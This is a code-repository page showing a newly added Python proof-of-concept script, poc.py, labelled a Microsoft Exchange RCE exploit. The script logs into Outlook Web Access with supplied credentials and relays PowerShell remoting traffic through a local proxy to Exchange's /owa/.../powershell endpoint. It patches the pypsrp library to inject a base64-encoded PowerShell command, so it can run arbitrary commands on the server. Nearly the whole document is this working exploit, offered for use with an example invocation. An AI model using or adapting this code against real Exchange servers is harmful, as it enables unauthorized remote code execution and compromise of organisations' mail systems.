🤬
  • ■ ■ ■ ■ ■ ■
    poc.py
     1 +# from 0day.pypsrp.src.pypsrp.complex_objects import DictionaryMeta
     2 +# from pypsrp.complex_objects import ObjectMeta
     3 + 
     4 +import threading
     5 +import argparse
     6 +import os, base64
     7 + 
     8 +# os.environ['http_proxy'] = 'http://localhost:8080'
     9 +# os.environ['https_proxy'] = 'http://localhost:8080'
     10 + 
     11 + 
     12 +from http.server import HTTPServer, BaseHTTPRequestHandler
     13 +from socketserver import ThreadingMixIn
     14 + 
     15 +import requests
     16 + 
     17 + 
     18 +s = requests.Session()
     19 + 
     20 +requests.packages.urllib3.disable_warnings(
     21 + requests.packages.urllib3.exceptions.InsecureRequestWarning
     22 +)
     23 + 
     24 + 
     25 +class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
     26 + pass
     27 + 
     28 + 
     29 +class ExchangeExploitHandler(BaseHTTPRequestHandler):
     30 + def do_POST(self):
     31 + 
     32 + length = int(self.headers["content-length"])
     33 + post_data = self.rfile.read(length).decode()
     34 + 
     35 + headers = {
     36 + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36",
     37 + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
     38 + "Accept-Encoding": "gzip, deflate",
     39 + "Content-Type": "application/soap+xml;charset=UTF-8",
     40 + "X-OWA-ExplicitLogonUser": f"owa/[email protected]",
     41 + }
     42 + 
     43 + powershell_endpoint = f"https://{host}/owa/mastermailbox%40outlook.com/powershell"
     44 + 
     45 + resp = s.post(
     46 + powershell_endpoint,
     47 + data=post_data,
     48 + headers=headers,
     49 + verify=False,
     50 + allow_redirects=False,
     51 + )
     52 + content = resp.content
     53 + self.send_response(200)
     54 + self.end_headers()
     55 + self.wfile.write(content)
     56 + 
     57 + 
     58 +def login(username, passwd):
     59 + 
     60 + url = f"https://{host}/owa/auth.owa"
     61 + 
     62 + headers = {
     63 + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36",
     64 + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
     65 + "Accept-Encoding": "gzip, deflate",
     66 + "Content-Type": "application/x-www-form-urlencoded",
     67 + }
     68 + r = s.post(
     69 + url,
     70 + headers=headers,
     71 + data={
     72 + "destination": f"https://{host}/owa",
     73 + "flags": "4",
     74 + "forcedownlevel": "0",
     75 + "username": username,
     76 + "password": passwd,
     77 + "passwordText": "",
     78 + "isUtf8": "1",
     79 + },
     80 + verify=False,
     81 + )
     82 + if r.status_code != 200:
     83 + print("[-] Fail when login")
     84 + 
     85 + 
     86 +def start_rpc_server():
     87 + server = ThreadedHTTPServer(("127.0.0.1", 13337), ExchangeExploitHandler)
     88 + server_thread = threading.Thread(target=server.serve_forever)
     89 + server_thread.daemon = True
     90 + server_thread.start()
     91 + 
     92 + 
     93 +def exploit(username):
     94 + import sys
     95 + 
     96 + sys.path.append("./")
     97 + from pypsrp.powershell import PowerShell, RunspacePool
     98 + from pypsrp.wsman import WSMan
     99 + 
     100 + wsman = WSMan(
     101 + "127.0.0.1",
     102 + username=username,
     103 + password="random",
     104 + ssl=False,
     105 + port=13337,
     106 + auth="basic",
     107 + encryption="never",
     108 + )
     109 + 
     110 + with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
     111 + ps = PowerShell(pool)
     112 + ps.add_cmdlet("Get-Mailbox").add_argument("-Anr").invoke()
     113 + 
     114 + errors = "\n".join([str(s) for s in ps.streams.error])
     115 + 
     116 + # print(errors)
     117 + if "on parameter 'Identity'" in errors:
     118 + print(f"[+] Successfully RCE")
     119 + else:
     120 + print(
     121 + "[-] The error notice warns that RCE may not have been exploited. Check it manually."
     122 + )
     123 + 
     124 + # print("[+] Error: %s " % errors)
     125 + return
     126 + 
     127 + 
     128 +def powershell_base64encode(cmd):
     129 + return base64.b64encode(cmd.encode("UTF-16LE")).decode()
     130 + 
     131 + 
     132 +def modify_pypsrp(cmd):
     133 + 
     134 + msg = ""
     135 + with open("pypsrp/messages-bk.py") as f:
     136 + msg = f.read()
     137 + 
     138 + with open("pypsrp/messages.py", "w") as f:
     139 + msg = msg.replace(
     140 + "$$POWERSHELL_ENCODE_PAYLOAD_HERE$$", powershell_base64encode(cmd)
     141 + )
     142 + 
     143 + f.write(msg)
     144 + 
     145 +if __name__ == "__main__":
     146 + parser = argparse.ArgumentParser(description='Microsoft Exchange RCE Poc\n Example: python3 poc.py -H https://192.168.137.143 -u user2 -p "123QWEasd!@#" -c cmd_file')
     147 + parser.add_argument(
     148 + "-H",
     149 + dest="host",
     150 + action="store",
     151 + type=str,
     152 + help='Host, eg. "http://127.0.0.1"',
     153 + required=True,
     154 + )
     155 + 
     156 + parser.add_argument(
     157 + "-u", dest="user", action="store", type=str, help="username", required=True
     158 + )
     159 + parser.add_argument(
     160 + "-p", dest="passwd", action="store", type=str, help="password", required=True
     161 + )
     162 + 
     163 + parser.add_argument(
     164 + "-c",
     165 + dest="cmd_file",
     166 + action="store",
     167 + type=str,
     168 + default="cmd",
     169 + help='File contain command that you want to run. This command will be run as `powershell -e "base64_encode(content(cmd_file))"`'
     170 + )
     171 + 
     172 + args = parser.parse_args()
     173 + host = args.host.strip(r"https?://")
     174 + user = args.user
     175 + passwd = args.passwd
     176 + cmd_file = args.cmd_file
     177 + 
     178 + print('Password:', passwd)
     179 + cmd = ""
     180 + with open(cmd_file) as f:
     181 + cmd = f.read()
     182 + login(user, passwd)
     183 + 
     184 + start_rpc_server()
     185 + modify_pypsrp(cmd)
     186 + exploit(user)
     187 + 
Please wait...
Page is in error, reload to recover